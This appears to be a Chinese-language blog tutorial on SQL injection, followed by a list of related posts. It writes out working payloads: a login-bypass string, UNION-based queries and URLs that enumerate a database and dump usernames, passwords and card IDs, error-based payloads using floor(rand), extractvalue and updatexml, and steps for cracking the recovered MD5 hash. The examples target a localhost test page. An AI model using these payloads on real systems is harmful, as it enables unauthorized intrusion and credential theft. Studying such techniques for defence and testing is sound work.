SQL注入

union查询注⼊是最基础的注⼊。在SQL中,UNION操作符⽤于合并两个或多个SELECT语句的结果。 union查询注⼊利⽤UNION关键字,可以追加⼀条或者多条额外的SELECT查询,
并将结果追加到原始查询中。联合查询会"纵向"拼接两个或多个SELECT语句的结果
适⽤条件
条件⼀:⽹⻚存在注⼊点,有回显。
条件⼆:需要满⾜ union 语句要求:
union 前后两个 select 的结果集,应具有相同列数;
union 前后两个 select 的结果集,对应列应是相同数据类型;

一、万能密码
' or '1' ='1
二、
1获得数据库的名字(难点:表的数据库又是哪一个?)
2获得数据库的所有表(难点:表是哪一个?)
3查看具体表里面的内容(获得用户名+密码)(难点:用户名与密码存放到哪里?)
1、获得数据库的名字
数据库中的语句:select * from news where datestr='' union select DATABASE(),'','',''
转化为链接上的语句:
http://localhost/wz/url.php?date=' union select DATABASE(),'','','
2、获得数据库的所有表
select * from news where datestr='' union SELECT (select GROUP_CONCAT(TABLE _name )
from information_schema.`TABLES` t where t.TABLE_SCHEMA='game'),'','',''
链接:
http://localhost/wz/url.php?date=' union SELECT (select GROUP_CONCAT(TABLE_name )from
information_schema.`TABLES` t where t.TABLE_SCHEMA='game'),'','','
3、查看具体表里面的内容
首先查询表里的字段名:
select * from news where datestr=''
union
SELECT
(select GROUP_CONCAT(c.COLUMN_NAME )from information_schema.`COLUMNS` c
where c.TABLE_SCHEMA='game' and c.TABL
E_NAME='user'),'','',''
转化为链接:
http://localhost/wz/url.php?date=' union
SELECT
(select GROUP_CONCAT(c.COLUMN_NAME )from information_schema.`COLUMNS` c where c.TABLE_SCHEMA='game' and c.TABLE_NAME='user'),'','','
得到用户表字段名后
select * from news where datestr='20231012'
union
select username, PASSWORD ,cardid,'需要的数据' from user
转化为链接:
http://localhost/wz/url.php?date=' union select username,PASSWORD ,cardid,'需要的数据'
from user where '1' ='1

以上为UNION型注入,但如果防御强的话,可能出现问题,下边学习报错型注入,是被动注入。
三、SQL注⼊之报错型注⼊漏洞
报错注⼊是利⽤⽹站的报错信息 来带出我们想要的信息,就是在错误信息中执⾏ sql 语句
报错型注⼊的使⽤条件:
考虑到成功率 和 时间成本 ⽐ union 成本⾼,需要数据库有错误信息,⼀般在 union 条
件不能实施的时候,才考虑 "报错型注⼊"
1、获取 数据库名
注⼊点,填写到 留⾔内容的编辑框中
数据库中的SQL:
(select 1 from (select count(*),concat(0x5e,(select database() from informa
tion_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2))x from information_sch
ema.tables group by x)a)
注入点的语句:
'or (select 1 from (select count(*),concat(0x5e,(select database() from
information_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2))x from
information_schema.tables group by x)a) or'
执⾏此SQL,让其报错,错误就是 我想要的
2、获取表名:
数据库语句:
SELECT extractvalue(1, concat(0x5c, (select group_concat(table_name) from
information_schema.tables where table_schema='jrlt'),0x5c))
注入点语句:
' or extractvalue(1, concat(0x5c, (select group_concat(table_name) from
information_schema.tables where table_schema='jrlt'),0x5c)) or '
3、获取表字段
数据库语句:
SELECT updatexml(1,concat(0x5e,(select group_concat(column_name) from
information_schema.columns where table_name='users' and table_schema='jrlt'
),0x5e),1)
注入点语句:
' or updatexml(1,concat(0x5e,(select group_concat(column_name) from
information_schema.columns where table_name='users' and table_schema='jrlt
'),0x5e),1) or '
4、获取数据
注入点语句
' or updatexml(1,concat(0x5e,(select concat(name,':',password) from users l
imit 0,1),0x5e),1) or'
发现 e10adc3949ba59abbe56e057 结果显示出来,但数据不对,原因是 updataxml()对仅能获
取返回 32 位字符,对于 ⻓字符串需要分批次获取
最后把 e10adc3949ba59abbe56e057f20f883e ⽤
https://www.sojson.com/encrypt_md5.html 解密
以上内容就是实战中的SQL注入的思路,关键点还是要学会找到注入点。把语句放入注入点就可以,需要的时候进行微调。

相关推荐
TiDB 社区干货传送门1 小时前
平凯数据库携手东软医保共筑智慧医保,构建可靠、安全、开放的数据底座
数据库·tidb·国产数据库
BIBI20492 小时前
HTTPS 证书的核心原理解释
网络安全·https·ssl/tls·入门指南·web 开发
YYYing.3 小时前
【Mysql剑指offer系列 (七) 】MySQL性能调优和架构
数据库·mysql·八股
Decay__4 小时前
PostgreSQL WAL 归档与时间点恢复 —— WAL 连续归档、recovery_target 时点恢复与 pg_rewind
运维·数据库·sql·postgresql
جيون داد ناالام ميづ5 小时前
七、MyBatis 源码剖析:核心流程拆解(初始化 + SQL 执行)
java·sql·mybatis
如夏倾城5 小时前
大模型(Large Model)解析:从数据类型、模型架构到任务选型
服务器·网络·数据库·语言模型·架构·audiolm
船神丿男人5 小时前
Redis 缓存击穿与雪崩实测:同键合并、TTL 错峰与迟到回填
数据库·redis·缓存
富贵儿9987 小时前
NL2SQL 实践手记 04:多表查询为什么更难——让模型找对表、连对关系
数据库·sql·ai·自然语言处理·langchain
Decay__7 小时前
PostgreSQL 索引与 SQL 优化 —— B-tree、GiST、GIN、BRIN、执行计划与索引设计实战
运维·数据库·sql·postgresql